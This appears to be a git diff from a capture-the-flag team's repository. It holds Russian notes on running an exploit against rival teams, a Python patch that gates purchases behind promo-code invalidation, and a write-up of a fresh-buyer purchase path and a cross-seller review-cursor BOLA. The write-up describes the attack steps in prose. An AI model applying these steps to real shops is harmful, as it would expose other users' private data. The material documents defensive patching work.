Все три скрипта прошли `py_compile` и `git diff --check`; это локальные
|
||||||
|
синтетические проверки, а не подтверждение запуска в Neo или зачёта Skipper.
|
||||||
|
|
||||||
|
Один контролируемый прогон на команде 3 получил флаг, но Skipper ответил
|
||||||
|
`Flag already stolen`; прогон на команде 2 купил два товара без флага.
|
||||||
|
Значения флагов не сохранены. `accepted` и работа из Neo пока не подтверждены;
|
||||||
|
текущая доступная установка не содержит работающих Neo/Farm контейнеров или
|
||||||
|
учётных данных. Не объявлять этот exploit зачтённым, пока не появятся
|
||||||
|
`neo test` на разрешённой цели и персональный ответ Skipper.
|
||||||
|
|
||||||
|
На снимке раунда 73 (12:12:53 МСК) Док был `UP`, проверки 70/72,
|
||||||
|
`stolen=328`, `lost=25`; на раунде 69 значения были `320/25`. Последующий
|
||||||
|
`CHECK FAILED` показал, что ограничение первого заказа нельзя считать
|
||||||
|
checker-совместимым.
|
||||||
|
|
||||||
|
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
||||||
|
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
||||||
|
официального checker. Не выполнять `git reset`/обычный `git pull` на vulnbox:
|
||||||
|
в рабочей копии Git отслеживает файлы `starpost/postgres/`, которые меняются
|
||||||
|
во время игры.
|
||||||
+10
-1
@@ -293,7 +293,10 @@ def invalidate_promo():
|
|||||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||||
return error("invalid promo code")
|
return error("invalid promo code")
|
||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
cur.execute(
|
||||||
|
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
|
||||||
|
(session["user_id"], code.strip()),
|
||||||
|
)
|
||||||
if cur.rowcount == 0:
|
if cur.rowcount == 0:
|
||||||
return error("promo code is unavailable", 409)
|
return error("promo code is unavailable", 409)
|
||||||
return jsonify(invalidated=True, code=code.strip())
|
return jsonify(invalidated=True, code=code.strip())
|
||||||
@@ -509,6 +512,9 @@ def order_product(product_id):
|
|||||||
return None, error("product not found", 404)
|
return None, error("product not found", 404)
|
||||||
if row["seller_id"] == session["user_id"]:
|
if row["seller_id"] == session["user_id"]:
|
||||||
return None, error("cannot buy your own product")
|
return None, error("cannot buy your own product")
|
||||||
|
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||||
|
if cur.fetchone():
|
||||||
|
return None, error("promo code must be invalidated", 409)
|
||||||
if row["balance"] < row["price"]:
|
if row["balance"] < row["price"]:
|
||||||
return None, error("insufficient balance", 409)
|
return None, error("insufficient balance", 409)
|
||||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||||
@@ -534,6 +540,9 @@ def checkout():
|
|||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||||
buyer = cur.fetchone()
|
buyer = cur.fetchone()
|
||||||
|
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||||
|
if cur.fetchone():
|
||||||
|
return error("promo code must be invalidated", 409)
|
||||||
cur.execute(
|
cur.execute(
|
||||||
"""
|
"""
|
||||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||||
|
|||||||
@@ -2,6 +2,16 @@
|
|||||||
|
|
||||||
## Confirmed vulnerabilities
|
## Confirmed vulnerabilities
|
||||||
|
|
||||||
|
### Fresh-buyer cargo purchase
|
||||||
|
|
||||||
|
The checker creates flag-bearing products priced within the 200-credit budget of a newly registered buyer: the account starts with 100 credits and its one-time promo adds 100. An attacker can therefore register a buyer, credit the issued promo, buy an active product, wait for automatic warehouse delivery, and read its cargo through `GET /api/orders` without bypassing authentication.
|
||||||
|
|
||||||
|
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
|
||||||
|
|
||||||
|
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
|
||||||
|
|
||||||
|
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
|
||||||
|
|
||||||
### Cross-seller review cursor BOLA
|
### Cross-seller review cursor BOLA
|
||||||
|
|
||||||
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
||||||
|
|||||||
Reference in new issue
Block a user